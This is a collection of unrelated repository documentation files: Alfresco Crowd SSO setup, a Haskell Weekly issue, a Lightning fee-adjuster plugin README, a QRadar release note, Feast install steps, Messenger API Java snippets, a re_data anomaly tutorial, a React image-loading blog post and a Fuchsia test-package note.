		* application.password: The application password configured in Crowd
		* crowd.base.url: The URL of the Crowd server. eg : http://localhost:8095/crowd/
		* authentication.chain=crowd1:crowd,[Other authentication subsystems if needed]
		* crowd.xff.address : The 'X-Forward-For' address. eg : proxy ip address.

* Add below filter configurations in share `web.xml` (before the default Authentication Filter)

		<filter>
			<description>Crowd SSO authentication filter.</description>
			<filter-name>crowd-filter</filter-name>
			<filter-class>com.zaizi.alfresco.crowd.authentication.filter.CrowdSSOFilter</filter-class>
		</filter>

		<filter-mapping>
			<filter-name>crowd-filter</filter-name>
			<url-pattern>/page/*</url-pattern>
		</filter-mapping>
		<filter-mapping>
			<filter-name>crowd-filter</filter-name>
			<url-pattern>/p/*</url-pattern>
		</filter-mapping>
		<filter-mapping>
			<filter-name>crowd-filter</filter-name>
			<url-pattern>/proxy/*</url-pattern>
		</filter-mapping>

repository: reference-project/alfresco-crowd-sso

repo_name: reference-project/alfresco-crowd-sso


text:
Welcome to another issue of Haskell Weekly!

This is a weekly summary of what's going on in its community.

## Featured

<!-- 2022-06-09, 2022-06-16, 2022-06-30, 2022-07-07 -->
- [Developer Nation Survey](https://developereconomics.net/?member_id=haskell) (ad)
  > Metaverse, self-driving cars, or Blockchain? Which emerging technology is the most engaging for developers?  What tools have you stopped using and what are your pain points? Take part in the most complete survey we have ever created, shape the key trends among developers for 2022, get free resources and win amazing prizes. Start now!

- [The Big List of Haskell GUI Libraries](http://bradrn.com/posts/hs-gui-libs.html) by Brad Neimann
  > Haskell has an excellent selection of GUI libraries, both for desktop and for web applications. However, choosing between them can be difficult.

- [Haskell Safety](https://medium.com/pragmatic-programmers/haskell-safety-e7c8db58f542) by Rebecca Skinner
  > It's really interesting to me how often I hear people talk about Haskell as a very safe language. The truth is that I don't think Haskell is actually a particularly safe language in a lot of ways.

- [A small benchmark for functional languages targeting web browsers](https://unsafeperform.io/blog/2022-07-02-a_small_benchmark_for_functional_languages_targeting_web_browsers/) by Gergő Érdi
  > This post is not about the actual retro-gaming project that prompted this, but instead, my experience with the performance of the generated code using various functional-for-web languages.

- [Warp as an effect in Polysemy](https://thma.github.io/posts/2022-07-04-polysemy-and-warp.html) by Thomas Mahler
  > Wouldn't it be much more elegant to also define the server execution as an effect? This would make the overall design more homogenous by giving the final control to the Polysemy effect interpreter.

## Jobs

Trying to hire a Haskell developer?
You should [advertise with us](https://haskellweekly.news/advertising.html)!

## In brief

- [A Brief Look at Asynchronous Exceptions](https://mmhaskell.com/blog/2022/6/30/a-brief-look-at-asynchronous-exceptions) by Monday Morning Haskell
  > All the exception mechanisms we've looked at so are serial in nature. We call a certain IO function from our main thread, and we block the program until that operation finishes. However, exceptions can also happen in an asynchronous way.

- [Haskell eXchange 2022: Call for Speakers](https://events.skillsmatter.com/haskellx2022#get-involved)
  > We'll be announcing the conference program in the months to come. In the meantime, there are a number of ways you can help be a part of Haskell eXchange.

- [Haskell Foundation DevOps Weekly Log, 2020-07-01](https://discourse.haskell.org/t/haskell-foundation-devops-weekly-log-2020-07-01/4728?u=taylorfausak) by Bryan Richter
  > This week I focused on understanding spurious failures and designing a system to track them. I'm starting small because there is still so much for me to learn about the overall system, but it's progressing well.

- [Haskell Foundation June 2022 Update](https://discourse.haskell.org/t/haskell-foundation-june-2022-update/4730?u=taylorfausak) by David Christiansen
  > Thanks to the efforts of community volunteers and the generosity of our sponsors, the Haskell Foundation was able to make progress on a few projects in June. Like all our work, these projects seek to promote and facilitate the useful things being done in the entire Haskell community.

- [Monthly Hask Anything (July 2022)](https://np.reddit.com/r/haskell/comments/vorgg1/monthly_hask_anything_july_2022/)
  > This is your opportunity to ask any questions you feel don't deserve their own threads, no matter how small or simple they might be!

- [Parsing With Haskell (Part 1): Lexing With Alex](https://serokell.io/blog/lexing-with-alex) by Heitor Toledo Lassarote de Paula
  > This two-part tutorial will look into two tools often used together by Haskellers to parse programs: Alex and Happy. We'll use them to parse a small programming language from scratch.

## Show & tell

- [cyclops](https://np.reddit.com/r/haskell/comments/vrxs08/preview_cyclops_a_command_line_option_parsing/) by Noah Luck Easterly
  > The Big Idea of cyclops is to support a declarative option-parsing style (just say what arguments you expect, rather than how to parse it) while keeping the option description as close as possible to the variable bind location.

- [interval-tree-clock](https://np.reddit.com/r/haskell/comments/vriwfh/intervaltreeclocks0100/) by Arne Winter
  > They serve as an alternative to vector clocks, which are a concept to track logical time. In distributed contexts, comparison by timestamps might be skewed.

- [ki](https://np.reddit.com/r/haskell/comments/vof6p8/ki_100_a_lightweight_structured_concurrency/) by Mitchell Rosen
  > A lightweight structured concurrency library.

## Call for participation

- [ema: Add `deriveIsRoute` TH](https://github.com/EmaApps/ema/issues/103)
- [haskell-language-server: Add placeholders for all class instance methods](https://github.com/haskell/haskell-language-server/issues/3017)
- [swarm: Ability to quickly restart scenarios with win conditions](https://github.com/swarm-game/swarm/issues/549)

repository: haskellweekly/haskellweekly

branch_name: refs/heads/haskellweekly

gha_language: Haskell

repo_name: haskellweekly/haskellweekly


text:
# Fee Adjuster

This plugin dynamically adjusts fees according to channel balances. The default behaviour is to automatically adjust fees at startup
and following forwarding events. There is a threshold for balance deltas that must be crossed before an update is triggered.  It can
also set the max htlc for channels according to available liquidity. This may reduce transaction failures but it will also reveal
information about what the current channel balance is.

## Options

- `feeadjuster-deactivate-fuzz` boolean (default `False`) deactivates update threshold randomization and hysterisis
- `feeadjuster-deactivate-fee-update` boolean (default `False`) deactivates automatic fee updates for forward events
- `feeadjuster-threshold` default 0.05 - Relative channel balance delta at which to trigger an update. Default 0.05 means 5%. Note: it's also fuzzed by 1.5%.
- `feeadjuster-threshold-abs` default 0.001btc - Absolute channel balance delta at which to always trigger an update. Note: it's also fuzzed by 1.5%.
- `feeadjuster-enough-liquidity` default 0msat (turned off) - Beyond this liquidity do not adjust fees.
This also modifies the fee curve to achieve having this amount of liquidity.
- `feeadjuster-adjustment-method` Adjustment method to calculate channel fee. Can be 'default', 'soft' for less difference or 'hard' for higher difference.
- `feeadjuster-imbalance` default 0.5 (always acts) - Ratio at which channel imbalance the feeadjuster should start acting. Set higher or lower values to
limit feeadjuster's activity to more imbalanced channels. E.g. 0.3 for '70/30'% or 0.6 for '40/60'%.
- `feeadjuster-feestrategy` Sets the per channel fee selection strategy. Can be 'global' (default) to use global config or default values, or 'median' to use
the median fees from peers of peer.
- `feeadjuster-median-multiplier` Sets the factor with which the median fee is multiplied if using the fee strategy
'median'. This allows over- or underbidding other nodes by a constant factor (default: 1.0).
- `feeadjuster-max-htlc-steps` Default 0 (turned off). Sets the number of max htlc adjustment steps. If our local channel balance drops below a step level
it will reduce the max htlc to that level, which can reduce local routing channel failures.  A value of 0 disables the stepping.

repository: lightningd/plugins

gha_language: Python

repo_name: lightningd/plugins


text:
#### Integrations
##### IBM QRadar v2
- Added an error message when running the ***test-module*** with the integration paremeters *longRunning* set to True and *limit* set to None, which is not a supported configuration.
- Updated the Docker image to: *demisto/python3:<IP_ADDRESS>82*.

repository: demisto/content

repo_name: demisto/content


text:
# Install Feast

Install Feast using [pip](https://pip.pypa.io):

```text
pip install feast
```

Install Feast with GCP dependencies \(required when using BigQuery or Firestore\):

```text
pip install 'feast[gcp]'
```

Install Feast with AWS dependencies \(required when using Redshift or DynamoDB\):

```text
pip install 'feast[aws]'
```


text:
Sending a message to a user requires a unique recipient identifier. There are three types of identifiers that are supported by the `Send API`.

The first is the `id`-identifier. You can get the recipient `id` as soon as a user sends a message to your bot. Please be aware of the fact that the `recipient id` is *not* the user id. If you try to send a message to a `user id` this will not work. You are required to use the `recipient id`.

If you received a message and took the `id` from that message you can create a new `IdMessageRecipient` with this simple line of code:

{% highlight java %}
IdMessageRecipient recipient = new IdMessageRecipient("<userID>");
{% endhighlight %}

The second identifier type is the phone number of the user you are attempting to contact. Facebook only sends a message to a phone number if there is a certain level of confidence the the phone number is reachable. Additionally, sending messages to a phone number recipient requires the customer matching feature to be enabled for the app.

		Customer Matching requirements and availability

		Only bots that belong to a Facebook page with a U.S. based administrator can use the customer matching feature. Phone numbers may belong to users in other countries, too.

		You can only send messages as long as the user has not previously opted-out. As soon as she receives the message, a message request is shown and then she can read the message. Afterwards she can decide whether to accept or decline further messages. If the message request is accepted, the bot is allowed to send further messages.

With this small piece of code you can create a phone recipient:

{% highlight java %}
PhoneMessageRecipient recipient = new PhoneMessageRecipient("<userPhone>");
{% endhighlight %}

And last, but not least, there is the `user_ref`. This reference is fetched from a webhook message and used to create a `UserRefMessageRecipient` object. The `user_ref` is send to the webhook as soon as the Facebook Checkbox Plugin is used and a user opts-in to receive messages from the website that shows this plugin.

The code to create a `UserRefMessageRecipient` is:

{% highlight java %}
UserRefMessageRecipient recipient = new UserRefMessageRecipient("<userRef>");
{% endhighlight %}

### Private Replies and the Messenger API

Private replies provide a way to send private messages to a user who created a post or a comment on a Facebook page. So you can start a private conversation from a public "entry point".

Since September 30, 2019 Facebook allows to use the Send API for private replies. This leads to much better way to communicate with a user and you can use all the cool features the Send API provides.

To use this new way to start the conversation, you simply need the `post` or `comment` id. With this id you create a recipient object like this:

{% highlight java %}
// private reply recipient based on a post
String postId = post.getId();
PostIdMessageRecipient recipient = new PostIdMessageRecipient(postId);

// private reply recipient based on a comment
String commentId = comment.getId();
CommentIdMessageRecipient recipient = new CommentIdMessageRecipient(commentId);
{% endhighlight %}

Then you can use this object as recipient and you are done.


text:
---
sidebar_position: 6
---

# Checking for anomalies

Now we will compute metrics for the whole last month and check if there are any anomalies present.

But before we do that let's make sure that after playing with custom metrics we do have following setup in `dbt_project.yml`

```yaml title="monitored tables"
vars:
  re_data:alerting_z_score: 3
  re_data:schemas:
    - toy_shop
  re_data:monitored:
    - tables:
        - name: customers
          time_filter: joined_at
        - name: order_items
          time_filter: added_at
        - name: orders
          time_filter: created_at
      actively_monitored: true
```

We could compute anomalies using just a dbt command. In production you most likely will have airflow job or dbt cloud job computing it daily.

Here, for simplicity, we will use the `re_data run` command, which is just calling dbt with proper vars:

```
re_data run --start-date 2021-01-01 --end-date 2021-01-30
```

Assuming this completed successfully, let's query the alerts table:

```sql title="toy_shop_re.re_data_alerting"
select table_name, column_name, metric, z_score_value, time_window_end from toy_shop_re.re_data_alerting;

             table_name              | column_name |    metric     |    z_score_value    |   time_window_end
-------------------------------------+-------------+---------------+---------------------+---------------------
 "postgres"."toy_shop"."customers"   | id          | max           | -3.0571164943755322 | 2021-01-15 00:00:00
 "postgres"."toy_shop"."order_items" |             | row_count     | -3.0530445968041606 | 2021-01-24 00:00:00
 "postgres"."toy_shop"."orders"      |             | row_count     | -3.2576351652461364 | 2021-01-24 00:00:00
 "postgres"."toy_shop"."orders"      | status      | min_length    |   4.799999999199999 | 2021-01-27 00:00:00
 "postgres"."toy_shop"."orders"      | status      | max_length    |       -4.7999999976 | 2021-01-27 00:00:00
 "postgres"."toy_shop"."customers"   | id          | nulls_count   |   5.003702330376757 | 2021-01-28 00:00:00
 "postgres"."toy_shop"."customers"   | age         | nulls_count   |   5.003702330376757 | 2021-01-28 00:00:00
 "postgres"."toy_shop"."customers"   | first_name  | nulls_count   |   5.003702330376757 | 2021-01-28 00:00:00
 "postgres"."toy_shop"."customers"   | first_name  | missing_count |   5.003702330376757 | 2021-01-28 00:00:00
 "postgres"."toy_shop"."customers"   | last_name   | nulls_count   |   5.003702330376757 | 2021-01-28 00:00:00
 "postgres"."toy_shop"."customers"   | last_name   | missing_count |   5.003702330376757 | 2021-01-28 00:00:00
 "postgres"."toy_shop"."customers"   | first_name  | min_length    |   5.102520382924569 | 2021-01-29 00:00:00
```

We can see a couple of alerting things here (some things look like false alerts, but most seem to be real problems with data). For example for this:

```sql anomalies example
select * from toy_shop_re.re_data_alerting where metric = 'row_count';

               table_name               | column_name |  metric   |    z_score_value    | last_value |      last_avg      |    last_stddev     |   time_window_end
----------------------------------------+-------------+-----------+---------------------+------------+--------------------+--------------------+---------------------
 "postgres"."toy_shop"."order_items"    |             | row_count | -3.0530445968041606 |          0 |  59.47826086956522 | 19.481622027899643 | 2021-01-24 00:00:00
 "postgres"."toy_shop"."orders"         |             | row_count | -3.2576351652461364 |          0 | 23.608695652173914 |  7.247188360352917 | 2021-01-24 00:00:00
```

It seems on 2021-01-23 we didn't get any orders. With an average of more than 23 orders per day, that seems really odd.

You can use the re_data_alerting table as a warning generator that something is not right with your data.

Now let's to move final part of tutorial and let's check how `re_data` can help with detecting changes in current database schema.

repository: DonnyZhao/re-data

repo_name: DonnyZhao/re-data


text:
---
layout: post
title:      "Save images in react components"
date:       2019-12-08 21:57:58 +0000
permalink:  Images inside React App
---

My react app needed to display images on one web page. We all know how to import images inside the React componet by using (img src={image_name}). However, if those images are not from the internet, but you like to save them with your app, where should those images be saved? And how to retreive them to display on the web page?

After looked through the tech web sites that could find, it seems suggested me to store all the images under the public folder inside React app.

## Images are located under react project /public folder
I use the folloiwng method to dynamically load the images into one component:

		render(){
		const imagePath = require.context('../../public/dishImages', true);
		let imgsrc = this.findImgSrc();
		let image = imagePath(`./${imgsrc}`);
		return(

		    	<img src={`${image}`} />

		)
		}
require.context() this function allow you to create your own context.
the syntax of require.context is as following:
require.context(directory, useSubdirectores, regExp= /^\.\/.*$, mode="sync');
This funtion allows you to pass in a directory to serach. a flag indicatin whether subdirectories should be searched too, and a requlare expression to match files against.

The code: const imagePath = require.context('../../public/dishImages', true);
It means that a context with files under the relative directory (../../public/dishImages, this is directory contains all the images that you were referring to.) can be access by imagePath.

One more thing I would like to mention was that the a particulare image was dynamically loaded into to web page based on the id that passed down from the parent component. I have a component to keep all the images with name and id in an array that match with the names of images under public/dishImages folder. So the component would load the image that match with the id that component be assigned by its parent component. this is "let imgsrc = this.findImagSrc(); to get the image name. and combined imagePath + imgsrc to passed to (img src={$image}) to load the right image for this compoenent.


text:
# Test Components and Packages for Security Tests for Package Delivery

Each security package delivery test is defined in a hermetic test package with
a top-level test component. This directory defines these packages and test
components. Note that defining the package usually involves finalizing fake
dependency components with test-appropriate configuration details such as
command arguments and/or configuration data.

repository: gnoliyil/fuchsia

repo_name: gnoliyil/fuchsia